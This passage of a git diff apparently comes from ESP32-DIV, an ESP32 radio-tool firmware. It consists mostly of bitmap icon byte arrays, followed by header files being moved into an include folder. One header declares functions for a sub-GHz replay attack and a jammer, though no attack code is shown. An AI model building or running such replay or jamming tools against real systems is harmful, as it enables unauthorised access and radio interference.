0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x71, 0x0c, 0x73, 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x21, 0x0c, 0x63, + 0x18, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x5a, 0xc1, 0xb0, 0xb7, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x86, 0x60, 0x00, 0x60, 0x18, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x84, 0x60, 0x00, 0x60, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x40, 0x10, 0x02, 0xa4, 0x35, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x61, 0x88, + 0x03, 0x08, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x61, 0x00, 0x73, 0x18, 0x23, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x40, 0x14, 0x20, 0x10, 0xa0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x60, 0x0d, 0x63, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x00, 0x50, 0x10, 0x02, 0x14, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x20, + 0x98, 0x20, 0x04, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x20, 0x08, 0x40, 0x08, + 0x86, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x50, 0x02, 0x00, 0x90, 0x25, 0x20, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x33, 0x00, 0x60, 0x00, 0xe0, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x84, 0x13, 0x10, 0x60, 0x08, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, + 0x52, 0x12, 0x72, 0x94, 0xa1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x30, 0x04, 0x61, + 0x08, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, 0x08, 0x00, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x82, 0x73, 0x98, 0x01, 0x15, 0xe0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x41, 0x8c, 0x61, 0x08, 0x00, 0x58, 0xc1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x02, 0xce, 0x50, 0x00, 0x00, 0xb4, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x73, 0x80, + 0x00, 0x1c, 0xa7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x31, 0x88, 0x00, 0x0c, 0xe2, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x50, 0x92, 0x00, 0x84, 0xa4, 0x20, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x01, 0x08, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x03, 0x08, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0x00, + 0x12, 0x51, 0x80, 0x00, 0x38, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0x00, 0x00, 0x63, 0x00, + 0x00, 0x18, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x02, 0x94, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x60, + 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x18, 0x63, 0x9c, 0x00, 0x00, + 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x40, 0x12, 0x92, 0x90, 0x01, 0xa0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x01, 0x80, 0x03, 0x00, 0x63, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x80, 0x03, 0x00, 0x63, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x40, 0x10, + 0x10, 0x8c, 0xa5, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x01, 0x08, 0x62, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x94, 0x24, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x01, 0xc0, 0x78, 0x80, 0xb0, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x84, 0x69, 0x00, 0x61, 0x18, 0xc2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x52, 0x00, 0x20, 0xb4, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x80, 0x00, 0x00, 0xc2, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x02, 0x00, 0x21, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x4c, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x06, 0x00, 0x00, 0x23, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x98, 0x01, + 0x04, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x08, 0x21, 0x08, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x18, 0x41, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x43, 0x08, 0x20, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x0c, 0x21, 0x08, 0x62, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x12, + 0xc0, 0x86, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x61, 0x1c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xc2, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x02, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x03, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0xff, 0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xff, + 0xc5, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x0c, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, + 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x72, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; +// 'skull_loading_9', 100x120px +const unsigned char bitmap_icon_skull_loading_9 [] PROGMEM = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x60, 0x00, + 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x60, 0x00, 0x40, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x23, 0x00, 0xc3, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0xc2, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x04, + 0x14, 0x02, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x62, 0x00, 0x01, 0x8c, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x22, 0x02, 0x03, 0x88, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x63, 0x08, 0x81, 0x80, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, + 0x00, 0x03, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x02, 0x06, 0x01, + 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x02, 0x04, 0x21, 0x0c, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x84, 0x00, 0x42, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x22, 0x00, 0x00, 0xc4, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x63, 0x00, 0x01, 0x80, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x80, 0x22, + 0x02, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x63, 0x10, 0x00, 0x0c, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x21, 0x10, 0x01, 0x98, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x60, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x61, 0x00, 0x02, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x80, + 0x00, 0x12, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xa2, 0x18, 0x80, 0x1c, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xe2, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x04, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x23, 0x10, 0x00, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, + 0x1c, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x10, 0xc0, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x06, 0x08, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x60, 0x00, 0x02, 0x10, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, + 0x87, 0x18, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x20, 0x01, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x10, 0x02, 0x30, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x00, 0x20, 0x06, 0x28, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x20, 0x00, 0x00, 0x08, 0xc8, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x18, 0x02, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x81, 0x80, 0x08, + 0x20, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x23, 0x88, 0x01, 0x00, 0x0c, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x22, 0x90, 0x02, 0x19, 0x84, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, 0x01, 0x28, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0c, 0x00, + 0x00, 0x04, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x03, 0x08, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x02, 0x10, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x03, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0xc0, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x21, 0x00, + 0xc2, 0x10, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x84, 0x09, 0x01, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x10, 0xc2, 0x01, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, 0x30, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x20, 0x10, 0x40, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x04, 0x31, 0x80, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x06, 0x20, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x07, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x03, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x10, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; diff --git a/ESP32-DIV/ir.h b/include/ir.h similarity index 100% rename from ESP32-DIV/ir.h rename to include/ir.h diff --git a/ESP32-DIV/shared.h b/include/shared.h similarity index 100% rename from ESP32-DIV/shared.h rename to include/shared.h diff --git a/ESP32-DIV/subconfig.h b/include/subconfig.h similarity index 94% rename from ESP32-DIV/subconfig.h rename to include/subconfig.h index 1967a30..e6dc394 100644 --- a/ESP32-DIV/subconfig.h +++ b/include/subconfig.h @@ -1,36 +1,36 @@ -#ifndef SUBCONFIG_H -#define SUBCONFIG_H - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "arduinoFFT.h" -#include "shared.h" -#include "utils.h" - -extern TFT_eSPI tft; -extern PCF8574 pcf; - -namespace replayat { - void ReplayAttackSetup(); - void ReplayAttackLoop(); -} - -namespace SavedProfile { - void saveSetup(); - void saveLoop(); -} - -namespace subjammer { - void subjammerSetup(); - void subjammerLoop(); -} - -#endif +#ifndef SUBCONFIG_H +#define SUBCONFIG_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "arduinoFFT.h" +#include "shared.h" +#include "utils.h" + +extern TFT_eSPI tft; +extern PCF8574 pcf; + +namespace replayat { + void ReplayAttackSetup(); + void ReplayAttackLoop(); +} + +namespace SavedProfile { + void saveSetup(); + void saveLoop(); +} + +namespace subjammer { + void subjammerSetup(); + void subjammerLoop(); +} + +#endif diff --git a/ESP32-DIV/utils.h b/include/utils.h similarity index 97% rename from ESP32-DIV/utils.h rename to include/utils.h index a7a6390..99e7da4 100644 --- a/ESP32-DIV/utils.h +++ b/include/utils.h @@ -1,104 +1,104 @@ -#ifndef UTILS_H -#define UTILS_H - -#include -#include -#include -#include -#include -#include "SettingsStore.h" -#include 